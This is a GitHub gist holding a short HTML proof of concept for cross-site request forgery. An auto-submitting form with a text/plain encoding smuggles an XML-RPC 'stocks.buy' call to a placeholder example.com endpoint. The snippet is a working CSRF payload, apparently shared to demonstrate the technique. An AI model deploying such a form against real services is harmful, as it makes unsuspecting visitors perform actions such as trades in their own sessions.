Created
December 19, 2012 16:03
-
-
Save thomd/4337839 to your computer and use it in GitHub Desktop.
a perfectly formatted Cross-Domain XML POST request. The ENCTYPE avoids the body being encoded
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form name="example" enctype="text/plain" action="http://example.com/xmlrpc/" method="post"> | |
<input type="hidden" name='<?xml version' | |
value='"1.0"?><methodCall><methodName>stocks.buy</methodName><params><param><value><string>MSFT</string></value></param><param><value><double>26</double></value></param></params></methodCall>'> | |
</form> | |
<script>document.example.submit();</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment